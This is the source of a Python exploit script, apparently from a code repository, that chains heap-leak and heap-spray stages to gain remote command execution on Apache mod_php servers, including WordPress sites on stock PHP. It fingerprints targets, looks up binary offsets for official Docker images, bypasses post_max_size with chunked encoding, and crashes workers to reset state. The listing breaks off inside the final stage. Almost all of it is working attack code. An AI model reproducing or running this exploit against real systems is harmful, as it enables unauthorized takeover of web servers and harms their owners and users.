neko
ac4e654dd6
WordPress on stock PHP (no php.ini) is vulnerable with the same heap profile parameters as plain PHP. Tested 5/5 first-attempt RCE against php:8.4.26-apache + WordPress 6.8.1 with no configuration changes. Simplified stage 3 retry loop: removed the HTDATA offset scanning that was added during WordPress debugging (unnecessary, stock offsets work). Stage 3 now uses the same retry count as stages 1 and 2.
1073 lines
40 KiB
Python
1073 lines
40 KiB
Python
#!/usr/bin/env python3 -I
|
|
"""
|
|
CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray.
|
|
Apache mod_php (prefork MPM), no LFI, no framework dependencies.
|
|
|
|
Three-stage exploit chain with full ASLR bypass (all traffic is plain HTTP):
|
|
Stage 1: Set-Cookie heap leak -> Zend MM chunk base (heap ASLR)
|
|
Stage 2: Set-Cookie libphp leak -> libphp.so base addr (code ASLR)
|
|
Stage 3: upload_progress fake-ref -> pDestructor = zif_system -> RCE
|
|
|
|
OOM is triggered by sending a POST body larger than memory_limit. PHP's
|
|
post_max_size (default 8M) would normally cap body size, but this exploit
|
|
uses HTTP chunked Transfer-Encoding to bypass it: PHP only checks
|
|
Content-Length against post_max_size, so a chunked request with no
|
|
Content-Length header passes the check and the full body is processed.
|
|
This works against stock php:*-apache Docker images with default settings
|
|
(memory_limit=128M, post_max_size=8M, display_errors=STDOUT).
|
|
|
|
Auto-detection:
|
|
The exploit fingerprints the target PHP version from HTTP headers, looks up
|
|
binary-internal offsets (zif_system, zval_ptr_dtor) from a built-in database
|
|
covering official Docker images, and selects the matching heap profile. For
|
|
unknown builds it can pull the matching Docker image and extract offsets
|
|
automatically (--auto-pull), or read them from a file/container.
|
|
|
|
Requirements on the target:
|
|
- Apache mod_php with prefork MPM
|
|
- session.upload_progress.enabled=1 (default on)
|
|
- session.upload_progress.cleanup=1 (default on)
|
|
- display_errors=On or STDOUT (default when no php.ini is deployed, e.g.
|
|
official Docker images; php.ini-production sets it Off)
|
|
- post_max_size is bypassed via chunked Transfer-Encoding (no constraint)
|
|
- MaxRequestWorkers=1, or low worker count with retries (default is 150;
|
|
the exploit needs A and B requests to hit the same worker process)
|
|
- Any PHP-handled URL (no session_start() needed on the page)
|
|
|
|
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 5/5 RCE
|
|
with stock settings (memory_limit=128M, post_max_size=8M).
|
|
|
|
WordPress: vulnerable when installed on stock PHP (no php.ini), because
|
|
WordPress's ini_set('display_errors', 0) runs AFTER multipart parsing.
|
|
The official wordpress:* Docker images set display_errors=Off at the INI
|
|
level, which blocks the info leak. See README for details.
|
|
|
|
Usage:
|
|
python3 rce_exploit.py -u http://target/index.php # auto-detect
|
|
python3 rce_exploit.py -u http://target/index.php --auto-pull # pull image
|
|
python3 rce_exploit.py -u http://target/ --docker-container myphp # from container
|
|
python3 rce_exploit.py -u http://target/ --offsets-file offsets.env # from file
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import os
|
|
import re
|
|
import socket
|
|
import ssl
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import tempfile
|
|
import threading
|
|
import time
|
|
import urllib.parse
|
|
from collections import Counter
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Constants
|
|
# ---------------------------------------------------------------------------
|
|
|
|
SID = b"attacksessionid0001"
|
|
MAX_CMD = 14
|
|
CHUNKED_THRESHOLD = 8 * 1024 * 1024
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Heap spray profiles (compiler-dependent heap geometry constants)
|
|
# ---------------------------------------------------------------------------
|
|
|
|
PROFILES = {
|
|
"bookworm": {
|
|
"stage1_n": 841,
|
|
"stage2_t": 406,
|
|
"stage2_v": 16,
|
|
"stage3_pads": [(31, 31)] * 6,
|
|
"stage3_carrier": True,
|
|
"htdata_offset": 0x690D8,
|
|
},
|
|
"lab": {
|
|
"stage1_n": 892,
|
|
"stage2_t": 443,
|
|
"stage2_v": 1,
|
|
"stage3_pads": [(8, 7)] + [(7, 7)] * 5,
|
|
"stage3_carrier": False,
|
|
"htdata_offset": 0x6E0D8,
|
|
},
|
|
}
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Offset database: keyed by (php_version, distro) or (php_version, "generic")
|
|
#
|
|
# Offsets are the position of zif_system and zval_ptr_dtor inside libphp.so
|
|
# relative to its load base. They are constant for a given binary build.
|
|
#
|
|
# Official Docker images are Debian bookworm with gcc 12.2, so all
|
|
# php:X.Y.Z-apache images on the same architecture share a build toolchain.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
OFFSET_DB: dict[tuple[str, str], dict[str, int]] = {
|
|
# Official php:8.4.26-apache (Debian bookworm, gcc 12.2) -- LAST VULNERABLE 8.4.x
|
|
("8.4.26", "bookworm"): {
|
|
"ZIF_OFFSET": 0x465370,
|
|
"DTOR_OFFSET": 0x65eb60,
|
|
"HTDATA_OFFSET": 0x690D8,
|
|
"profile": "bookworm",
|
|
},
|
|
# Official php:8.3.35-apache (Debian bookworm) -- LAST VULNERABLE 8.3.x
|
|
("8.3.35", "bookworm"): {
|
|
"ZIF_OFFSET": 0x3ac080,
|
|
"DTOR_OFFSET": 0x49ec50,
|
|
"HTDATA_OFFSET": 0x700D8,
|
|
"profile": "bookworm",
|
|
},
|
|
# Official php:8.4.27-apache (Debian bookworm) -- PATCHED
|
|
("8.4.27", "bookworm"): {
|
|
"ZIF_OFFSET": 0x46ad70,
|
|
"DTOR_OFFSET": 0x66a620,
|
|
"HTDATA_OFFSET": 0x690D8,
|
|
"profile": "bookworm",
|
|
},
|
|
# Official php:8.3.36-apache (Debian bookworm) -- PATCHED
|
|
("8.3.36", "bookworm"): {
|
|
"ZIF_OFFSET": 0x3b2a00,
|
|
"DTOR_OFFSET": 0x4a9510,
|
|
"HTDATA_OFFSET": 0x690D8,
|
|
"profile": "bookworm",
|
|
},
|
|
}
|
|
|
|
# Maps distro tokens found in Server header to profile names
|
|
DISTRO_MAP = {
|
|
"debian": "bookworm",
|
|
"ubuntu": "bookworm",
|
|
}
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# ELF parser: extract symbol offsets without external tools
|
|
# ---------------------------------------------------------------------------
|
|
|
|
SHT_SYMTAB = 2
|
|
SHT_DYNSYM = 11
|
|
PT_LOAD = 1
|
|
|
|
|
|
def parse_elf_offsets(path: str) -> dict[str, int]:
|
|
"""Parse an ELF64 LE file and return {symbol_name: offset_from_load_base}."""
|
|
data = open(path, "rb").read()
|
|
if data[:4] != b"\x7fELF" or data[4] != 2 or data[5] != 1:
|
|
raise ValueError("not a little-endian ELF64 file")
|
|
|
|
e_phoff = struct.unpack_from("<Q", data, 0x20)[0]
|
|
e_shoff = struct.unpack_from("<Q", data, 0x28)[0]
|
|
e_phentsize, e_phnum = struct.unpack_from("<HH", data, 0x36)
|
|
e_shentsize, e_shnum = struct.unpack_from("<HH", data, 0x3A)
|
|
|
|
loads = []
|
|
for i in range(e_phnum):
|
|
off = e_phoff + i * e_phentsize
|
|
p_type = struct.unpack_from("<I", data, off)[0]
|
|
p_vaddr = struct.unpack_from("<Q", data, off + 16)[0]
|
|
p_memsz = struct.unpack_from("<Q", data, off + 40)[0]
|
|
if p_type == PT_LOAD and p_memsz:
|
|
loads.append(p_vaddr)
|
|
bias = min(loads) if loads else 0
|
|
|
|
sections = []
|
|
for i in range(e_shnum):
|
|
off = e_shoff + i * e_shentsize
|
|
sh_type = struct.unpack_from("<I", data, off + 4)[0]
|
|
sh_offset = struct.unpack_from("<Q", data, off + 24)[0]
|
|
sh_size = struct.unpack_from("<Q", data, off + 32)[0]
|
|
sh_link = struct.unpack_from("<I", data, off + 40)[0]
|
|
sh_entsize = struct.unpack_from("<Q", data, off + 56)[0]
|
|
sections.append((sh_type, sh_offset, sh_size, sh_link, sh_entsize))
|
|
|
|
wanted = {"zif_system": None, "zval_ptr_dtor": None}
|
|
for sh_type, sh_offset, sh_size, sh_link, sh_entsize in sections:
|
|
if sh_type not in (SHT_SYMTAB, SHT_DYNSYM):
|
|
continue
|
|
if sh_link >= len(sections):
|
|
continue
|
|
str_off = sections[sh_link][1]
|
|
entsize = sh_entsize or 24
|
|
for i in range(sh_size // entsize):
|
|
off = sh_offset + i * entsize
|
|
st_name = struct.unpack_from("<I", data, off)[0]
|
|
st_value = struct.unpack_from("<Q", data, off + 8)[0]
|
|
if st_name == 0 or st_value == 0:
|
|
continue
|
|
name_off = str_off + st_name
|
|
end = data.find(b"\x00", name_off)
|
|
if end < 0:
|
|
continue
|
|
name = data[name_off:end].decode("ascii", "replace")
|
|
if name in wanted and wanted[name] is None:
|
|
wanted[name] = st_value - bias
|
|
|
|
missing = [k for k, v in wanted.items() if v is None]
|
|
if missing:
|
|
raise ValueError(f"symbols not found: {', '.join(missing)}")
|
|
return {k: v for k, v in wanted.items() if v is not None}
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Offset resolution helpers
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def offsets_from_file(path: str) -> dict[str, int]:
|
|
vals: dict[str, int] = {}
|
|
with open(path) as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line or line.startswith("#") or "=" not in line:
|
|
continue
|
|
key, val = line.split("=", 1)
|
|
try:
|
|
vals[key.strip()] = int(val.strip(), 0)
|
|
except ValueError:
|
|
pass
|
|
return vals
|
|
|
|
|
|
def offsets_from_container(container: str) -> dict[str, int]:
|
|
"""Extract offsets from a running Docker container's libphp.so."""
|
|
lib_path = "/usr/lib/apache2/modules/libphp.so"
|
|
fd, tmp_path = tempfile.mkstemp(suffix=".so")
|
|
os.close(fd)
|
|
try:
|
|
subprocess.run(
|
|
["docker", "cp", f"{container}:{lib_path}", tmp_path],
|
|
check=True, capture_output=True, timeout=30,
|
|
)
|
|
syms = parse_elf_offsets(tmp_path)
|
|
return {
|
|
"ZIF_OFFSET": syms["zif_system"],
|
|
"DTOR_OFFSET": syms["zval_ptr_dtor"],
|
|
}
|
|
finally:
|
|
try:
|
|
os.unlink(tmp_path)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def offsets_from_docker_image(image: str) -> dict[str, int]:
|
|
"""Start a temp container from the image, extract offsets, remove it."""
|
|
cname = f"php2shell-calibrate-{os.getpid()}"
|
|
lib_path = "/usr/lib/apache2/modules/libphp.so"
|
|
fd, tmp_path = tempfile.mkstemp(suffix=".so")
|
|
os.close(fd)
|
|
try:
|
|
subprocess.run(
|
|
["docker", "create", "--name", cname, image, "true"],
|
|
check=True, capture_output=True, timeout=60,
|
|
)
|
|
subprocess.run(
|
|
["docker", "cp", f"{cname}:{lib_path}", tmp_path],
|
|
check=True, capture_output=True, timeout=30,
|
|
)
|
|
syms = parse_elf_offsets(tmp_path)
|
|
return {
|
|
"ZIF_OFFSET": syms["zif_system"],
|
|
"DTOR_OFFSET": syms["zval_ptr_dtor"],
|
|
}
|
|
finally:
|
|
subprocess.run(
|
|
["docker", "rm", "-f", cname],
|
|
capture_output=True, timeout=15,
|
|
)
|
|
try:
|
|
os.unlink(tmp_path)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def fingerprint_target(host: str, port: int, path: str, use_tls: bool,
|
|
timeout: float = 10.0) -> dict[str, str]:
|
|
"""Send a GET and extract PHP version + server distro from headers."""
|
|
hdr = (
|
|
f"GET {path} HTTP/1.1\r\n"
|
|
f"Host: {host}:{port}\r\n"
|
|
"Connection: close\r\n"
|
|
"\r\n"
|
|
).encode()
|
|
s = socket.create_connection((host, port), timeout=timeout)
|
|
if use_tls:
|
|
ctx = ssl.create_default_context()
|
|
s = ctx.wrap_socket(s, server_hostname=host)
|
|
s.settimeout(timeout)
|
|
try:
|
|
s.sendall(hdr)
|
|
data = bytearray()
|
|
while len(data) < 8192:
|
|
chunk = s.recv(4096)
|
|
if not chunk:
|
|
break
|
|
data += chunk
|
|
except OSError:
|
|
pass
|
|
finally:
|
|
s.close()
|
|
|
|
head = bytes(data).split(b"\r\n\r\n", 1)[0].decode("latin-1", errors="replace")
|
|
info: dict[str, str] = {}
|
|
for line in head.splitlines():
|
|
low = line.lower()
|
|
if low.startswith("x-powered-by:"):
|
|
m = re.search(r"PHP/(\d+\.\d+\.\d+)", line)
|
|
if m:
|
|
info["php_version"] = m.group(1)
|
|
if low.startswith("server:"):
|
|
info["server"] = line.split(":", 1)[1].strip()
|
|
for token, distro in DISTRO_MAP.items():
|
|
if token in low:
|
|
info["distro"] = distro
|
|
break
|
|
if "distro" not in info and "server" in info:
|
|
if "debian" in info["server"].lower():
|
|
info["distro"] = "bookworm"
|
|
return info
|
|
|
|
|
|
def resolve_offsets(args, verbose: bool = True) -> tuple[int, int, int, str]:
|
|
"""Return (zif_offset, dtor_offset, htdata_offset, profile) from args."""
|
|
log = (lambda m: print(m, flush=True)) if verbose else (lambda m: None)
|
|
|
|
# Explicit offsets override everything
|
|
if args.zif_offset and args.dtor_offset:
|
|
return (args.zif_offset, args.dtor_offset,
|
|
args.htdata_offset or PROFILES[args.profile]["htdata_offset"],
|
|
args.profile)
|
|
|
|
# From file
|
|
if args.offsets_file:
|
|
o = offsets_from_file(args.offsets_file)
|
|
zif = args.zif_offset or o.get("ZIF_OFFSET", 0)
|
|
dtor = args.dtor_offset or o.get("DTOR_OFFSET", 0)
|
|
if zif and dtor:
|
|
return (zif, dtor,
|
|
args.htdata_offset or o.get("HTDATA_OFFSET", 0) or
|
|
PROFILES[args.profile]["htdata_offset"],
|
|
args.profile)
|
|
|
|
# From running container
|
|
if args.docker_container:
|
|
log(f"[*] extracting offsets from container {args.docker_container!r}")
|
|
o = offsets_from_container(args.docker_container)
|
|
zif = args.zif_offset or o.get("ZIF_OFFSET", 0)
|
|
dtor = args.dtor_offset or o.get("DTOR_OFFSET", 0)
|
|
if zif and dtor:
|
|
log(f"[+] container offsets: zif=0x{zif:x} dtor=0x{dtor:x}")
|
|
return (zif, dtor,
|
|
args.htdata_offset or PROFILES[args.profile]["htdata_offset"],
|
|
args.profile)
|
|
|
|
# Auto-detect from target HTTP headers
|
|
u = urllib.parse.urlsplit(args.url)
|
|
host = u.hostname or "127.0.0.1"
|
|
port = u.port or (443 if u.scheme == "https" else 80)
|
|
path = u.path or "/"
|
|
use_tls = u.scheme == "https"
|
|
|
|
log("[*] fingerprinting target...")
|
|
fp = fingerprint_target(host, port, path, use_tls)
|
|
php_ver = fp.get("php_version", "")
|
|
distro = fp.get("distro", "")
|
|
server = fp.get("server", "")
|
|
if php_ver:
|
|
log(f"[+] PHP/{php_ver} server={server}")
|
|
else:
|
|
log("[-] could not detect PHP version from headers")
|
|
log(" provide offsets manually (--offsets-file, --docker-container,")
|
|
log(" or --zif-offset/--dtor-offset)")
|
|
sys.exit(1)
|
|
|
|
# Look up in database
|
|
for key in [(php_ver, distro), (php_ver, "generic")]:
|
|
if key in OFFSET_DB:
|
|
entry = OFFSET_DB[key]
|
|
zif = entry["ZIF_OFFSET"]
|
|
dtor = entry["DTOR_OFFSET"]
|
|
profile = entry.get("profile", args.profile)
|
|
htdata = entry.get("HTDATA_OFFSET", PROFILES[profile]["htdata_offset"])
|
|
log(f"[+] offsets from database ({key[0]}/{key[1]}): "
|
|
f"zif=0x{zif:x} dtor=0x{dtor:x}")
|
|
return (args.zif_offset or zif, args.dtor_offset or dtor,
|
|
args.htdata_offset or htdata, profile)
|
|
|
|
# Not in DB: try auto-pull if requested
|
|
if args.auto_pull:
|
|
image = f"php:{php_ver}-apache"
|
|
log(f"[*] pulling {image} to extract offsets...")
|
|
try:
|
|
subprocess.run(
|
|
["docker", "pull", image],
|
|
check=True, capture_output=True, timeout=300,
|
|
)
|
|
o = offsets_from_docker_image(image)
|
|
zif = o["ZIF_OFFSET"]
|
|
dtor = o["DTOR_OFFSET"]
|
|
log(f"[+] extracted from {image}: zif=0x{zif:x} dtor=0x{dtor:x}")
|
|
profile = distro if distro in PROFILES else args.profile
|
|
return (zif, dtor,
|
|
args.htdata_offset or PROFILES[profile]["htdata_offset"],
|
|
profile)
|
|
except (subprocess.SubprocessError, ValueError, KeyError) as e:
|
|
log(f"[-] auto-pull failed: {e}")
|
|
|
|
log(f"[-] PHP/{php_ver} ({distro or 'unknown distro'}) not in offset database")
|
|
log(" options:")
|
|
log(f" 1. run with --auto-pull to fetch php:{php_ver}-apache and extract")
|
|
log(" 2. provide offsets via --offsets-file or --docker-container")
|
|
log(" 3. add entry to OFFSET_DB in this script")
|
|
sys.exit(1)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Multipart + HTTP helpers
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def build_multipart(parts: list[dict], boundary: bytes) -> bytes:
|
|
out = bytearray()
|
|
for p in parts:
|
|
name = p["name"].encode() if isinstance(p["name"], str) else p["name"]
|
|
out += b"--" + boundary + b"\r\n"
|
|
out += b'Content-Disposition: form-data; name="' + name + b'"'
|
|
if p.get("filename") is not None:
|
|
fn = p["filename"].encode() if isinstance(p["filename"], str) else p["filename"]
|
|
out += b'; filename="' + fn + b'"'
|
|
out += b"\r\nContent-Type: application/octet-stream"
|
|
out += b"\r\n\r\n" + p["data"] + b"\r\n"
|
|
out += b"--" + boundary + b"--\r\n"
|
|
return bytes(out)
|
|
|
|
|
|
def parse_cookie(resp: bytes) -> bytes:
|
|
m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
|
|
if not m:
|
|
return b""
|
|
return urllib.parse.unquote_to_bytes(m.group(1).decode("latin-1"))
|
|
|
|
|
|
def chunk_base_from_cookie(raw: bytes) -> int:
|
|
if len(raw) < 1000:
|
|
return 0
|
|
c: Counter[int] = Counter()
|
|
for i in range(len(raw) - 8):
|
|
v = int.from_bytes(raw[i:i + 8], "little")
|
|
if 0x7F0000000000 <= v < 0x800000000000:
|
|
c[v & ~0x1FFFFF] += 1
|
|
if not c:
|
|
return 0
|
|
base, count = c.most_common(1)[0]
|
|
return base if count >= 8 else 0
|
|
|
|
|
|
def libphp_base_from_cookie(raw: bytes, dtor_offset: int) -> int:
|
|
if len(raw) < 16:
|
|
return 0
|
|
p = int.from_bytes(raw[8:16], "little")
|
|
if not (0x7F0000000000 <= p < 0x800000000000):
|
|
return 0
|
|
if p & 0xFFF != dtor_offset & 0xFFF:
|
|
return 0
|
|
base = p - dtor_offset
|
|
return base if base & 0xFFF == 0 else 0
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Target connection
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class Target:
|
|
def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
|
|
u = urllib.parse.urlsplit(url)
|
|
if u.scheme not in ("http", "https"):
|
|
raise ValueError("URL must be http:// or https://")
|
|
self.https = u.scheme == "https"
|
|
self.host = u.hostname or "127.0.0.1"
|
|
self.port = u.port or (443 if self.https else 80)
|
|
self.path = u.path or "/"
|
|
self.timeout = timeout
|
|
self.verbose = verbose
|
|
|
|
def log(self, msg: str) -> None:
|
|
if self.verbose:
|
|
print(msg, flush=True)
|
|
|
|
def _connect(self):
|
|
last = None
|
|
for _ in range(10):
|
|
try:
|
|
s = socket.create_connection((self.host, self.port),
|
|
timeout=self.timeout)
|
|
if self.https:
|
|
ctx = ssl.create_default_context()
|
|
s = ctx.wrap_socket(s, server_hostname=self.host)
|
|
try:
|
|
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
|
except OSError:
|
|
pass
|
|
return s
|
|
except OSError as e:
|
|
last = e
|
|
time.sleep(0.3)
|
|
raise last
|
|
|
|
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
|
|
timeout: float | None = None,
|
|
extra_headers: dict[str, str] | None = None) -> bytes:
|
|
"""Send POST, read full response, close connection.
|
|
|
|
Bodies larger than CHUNKED_THRESHOLD are sent with
|
|
Transfer-Encoding: chunked instead of Content-Length, which
|
|
bypasses PHP's post_max_size check.
|
|
"""
|
|
s = self._connect()
|
|
s.settimeout(timeout or self.timeout)
|
|
|
|
data = bytearray()
|
|
|
|
def _reader() -> None:
|
|
try:
|
|
while len(data) < read_cap:
|
|
chunk = s.recv(65536)
|
|
if not chunk:
|
|
break
|
|
data.extend(chunk)
|
|
except OSError:
|
|
pass
|
|
|
|
use_chunked = len(body) > CHUNKED_THRESHOLD
|
|
|
|
extra = ""
|
|
for k, v in (extra_headers or {}).items():
|
|
extra += f"{k}: {v}\r\n"
|
|
if use_chunked:
|
|
hdr = (
|
|
f"POST {self.path} HTTP/1.1\r\n"
|
|
f"Host: {self.host}:{self.port}\r\n"
|
|
f"{extra}"
|
|
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
|
f"Transfer-Encoding: chunked\r\n"
|
|
"Connection: close\r\n"
|
|
"\r\n"
|
|
).encode()
|
|
else:
|
|
hdr = (
|
|
f"POST {self.path} HTTP/1.1\r\n"
|
|
f"Host: {self.host}:{self.port}\r\n"
|
|
f"{extra}"
|
|
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
|
f"Content-Length: {len(body)}\r\n"
|
|
"Connection: close\r\n"
|
|
"\r\n"
|
|
).encode()
|
|
|
|
reader = threading.Thread(target=_reader, daemon=True)
|
|
reader.start()
|
|
try:
|
|
try:
|
|
s.sendall(hdr)
|
|
if use_chunked:
|
|
mv = memoryview(body)
|
|
for off in range(0, len(body), 65536):
|
|
seg = mv[off:off + 65536]
|
|
s.sendall(f"{len(seg):x}\r\n".encode())
|
|
s.sendall(seg)
|
|
s.sendall(b"\r\n")
|
|
s.sendall(b"0\r\n\r\n")
|
|
else:
|
|
mv = memoryview(body)
|
|
for off in range(0, len(body), 262144):
|
|
s.sendall(mv[off:off + 262144])
|
|
except OSError:
|
|
pass
|
|
reader.join(timeout=(timeout or self.timeout) + 1.0)
|
|
return bytes(data)
|
|
finally:
|
|
s.close()
|
|
|
|
def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
|
|
hdr = (
|
|
f"GET {path} HTTP/1.1\r\n"
|
|
f"Host: {self.host}:{self.port}\r\n"
|
|
"Connection: close\r\n"
|
|
"\r\n"
|
|
).encode()
|
|
s = self._connect()
|
|
s.settimeout(self.timeout)
|
|
try:
|
|
s.sendall(hdr)
|
|
data = bytearray()
|
|
try:
|
|
while len(data) < read_cap:
|
|
chunk = s.recv(65536)
|
|
if not chunk:
|
|
break
|
|
data += chunk
|
|
except OSError:
|
|
pass
|
|
finally:
|
|
s.close()
|
|
head, _, body = bytes(data).partition(b"\r\n\r\n")
|
|
m = re.match(rb"HTTP/1\.[01] (\d{3})", head)
|
|
return (int(m.group(1)) if m else 0), body
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Exploit stages
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class Exploit:
|
|
def __init__(self, target: Target, cmd: str, profile: str = "bookworm",
|
|
zif_offset: int = 0, dtor_offset: int = 0,
|
|
htdata_offset: int = 0, huge_mb: int = 140,
|
|
workers: int = 1):
|
|
self.t = target
|
|
self.cmd = cmd.encode()
|
|
self.huge_mb = huge_mb
|
|
self.workers = max(1, workers)
|
|
|
|
prof = PROFILES[profile]
|
|
self.stage1_n = prof["stage1_n"]
|
|
self.stage2_t = prof["stage2_t"]
|
|
self.stage2_v = prof["stage2_v"]
|
|
self.stage3_pads = list(prof["stage3_pads"])
|
|
self.stage3_carrier = prof["stage3_carrier"]
|
|
self.profile = profile
|
|
|
|
self.zif_offset = zif_offset
|
|
self.dtor_offset = dtor_offset
|
|
self.htdata_offset = htdata_offset or prof["htdata_offset"]
|
|
|
|
def _spray_a(self, body_a: bytes, boundary: bytes,
|
|
extra: dict[str, str] | None = None) -> None:
|
|
"""Send request A to all workers so each has dangling state."""
|
|
for i in range(self.workers):
|
|
self.t.post(body_a, boundary,
|
|
read_cap=1 << 20,
|
|
timeout=max(90.0, self.t.timeout),
|
|
extra_headers=extra)
|
|
time.sleep(0.1)
|
|
|
|
def _big_field(self) -> dict:
|
|
return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}
|
|
|
|
def _file_part(self) -> dict:
|
|
return {"name": "f", "filename": "a.txt", "data": b"A" * 64}
|
|
|
|
def rotate(self) -> None:
|
|
"""Crash the current worker so prefork forks a fresh one."""
|
|
self.t.log("[*] rotating worker")
|
|
parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000}
|
|
for i in range(1001)]
|
|
parts += [
|
|
{"name": "PHPSESSID", "data": b"\x00"},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
self._file_part(),
|
|
self._big_field(),
|
|
]
|
|
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
|
|
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
|
|
time.sleep(0.3)
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": SID},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
]
|
|
self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345",
|
|
read_cap=65536, timeout=20.0)
|
|
time.sleep(0.5)
|
|
|
|
def stage1(self) -> int:
|
|
"""Leak Zend MM chunk base via Set-Cookie over-read."""
|
|
parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
|
|
parts += [
|
|
{"name": "PHPSESSID", "data": b"\x00"},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
self._file_part(),
|
|
self._big_field(),
|
|
]
|
|
body_a = build_multipart(parts, b"S" * 17)
|
|
self._spray_a(body_a, b"S" * 17)
|
|
time.sleep(0.2)
|
|
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": SID},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
]
|
|
for i in range(self.stage1_n):
|
|
val = (f"v{i:04d}" + "x" * 44)[:48]
|
|
parts.append({"name": str(1000 + i), "data": val.encode()})
|
|
forge = bytearray(b"A" * 79)
|
|
struct.pack_into("<Q", forge, 0x10, 0x1000)
|
|
forge[0x18] = ord("L")
|
|
parts.append({"name": "1999", "data": bytes(forge)})
|
|
|
|
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
|
|
read_cap=9 << 20)
|
|
return chunk_base_from_cookie(parse_cookie(resp))
|
|
|
|
def stage2(self) -> int:
|
|
"""Leak libphp base via HashTable pDestructor in Set-Cookie."""
|
|
parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39}
|
|
for i in range(1001)]
|
|
parts += [
|
|
{"name": "PHPSESSID", "data": b"\x00"},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
self._file_part(),
|
|
self._big_field(),
|
|
]
|
|
body_a = build_multipart(parts, b"S" * 17)
|
|
self._spray_a(body_a, b"S" * 17)
|
|
time.sleep(0.2)
|
|
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": SID},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
]
|
|
for i in range(983):
|
|
cnt = 16 if i == self.stage2_t else 1
|
|
for j in range(cnt):
|
|
parts.append({"name": f"a{i:04d}[{j}]",
|
|
"data": b"x" * self.stage2_v})
|
|
|
|
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
|
|
read_cap=1 << 20)
|
|
return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)
|
|
|
|
def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
|
|
cmd = self.cmd
|
|
if len(cmd) > MAX_CMD:
|
|
raise ValueError(
|
|
f"command is {len(cmd)} bytes, max {MAX_CMD} "
|
|
f"(write longer commands to a file and use 'sh</tmp/c')"
|
|
)
|
|
ht = bytearray(b"\x00" * 167)
|
|
struct.pack_into("<II", ht, 0x00, 1, 7)
|
|
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)
|
|
struct.pack_into("<Q", ht, 0x10, htdata + 0x20)
|
|
struct.pack_into("<II", ht, 0x18, 1, 1)
|
|
struct.pack_into("<II", ht, 0x20, 8, 0)
|
|
struct.pack_into("<Q", ht, 0x28, 0)
|
|
struct.pack_into("<Q", ht, 0x30, zif)
|
|
E = 0x20
|
|
struct.pack_into("<Q", ht, E + 0x00, 0)
|
|
struct.pack_into("<Q", ht, E + 0x08, 0)
|
|
struct.pack_into("<Q", ht, E + 0x10, zif)
|
|
struct.pack_into("<Q", ht, E + 0x18, 0)
|
|
struct.pack_into("<Q", ht, E + 0x20, 0)
|
|
struct.pack_into("<I", ht, E + 0x28, 0)
|
|
struct.pack_into("<I", ht, E + 0x2C, 1)
|
|
struct.pack_into("<Q", ht, E + 0x30, 0)
|
|
struct.pack_into("<Q", ht, E + 0x38, 0)
|
|
struct.pack_into("<I", ht, E + 0x40, 0)
|
|
struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)
|
|
struct.pack_into("<I", ht, E + 0x58, 6)
|
|
struct.pack_into("<II", ht, 0x80, 1, 0x106)
|
|
struct.pack_into("<Q", ht, 0x88, 0)
|
|
struct.pack_into("<Q", ht, 0x90, len(cmd))
|
|
ht[0x98:0x98 + len(cmd)] = cmd
|
|
ht[0x98 + len(cmd)] = 0
|
|
|
|
ref = bytearray(b"X" * 55)
|
|
struct.pack_into("<II", ref, 0x10, 1, 10)
|
|
struct.pack_into("<Q", ref, 0x18, htdata)
|
|
struct.pack_into("<Q", ref, 0x20, 0x307)
|
|
struct.pack_into("<Q", ref, 0x28, 0)
|
|
return bytes(ht), bytes(ref)
|
|
|
|
def stage3(self, htdata: int, zif: int) -> None:
|
|
"""Overlay PS(http_session_vars) with fake reference, trigger zif_system."""
|
|
parts = [
|
|
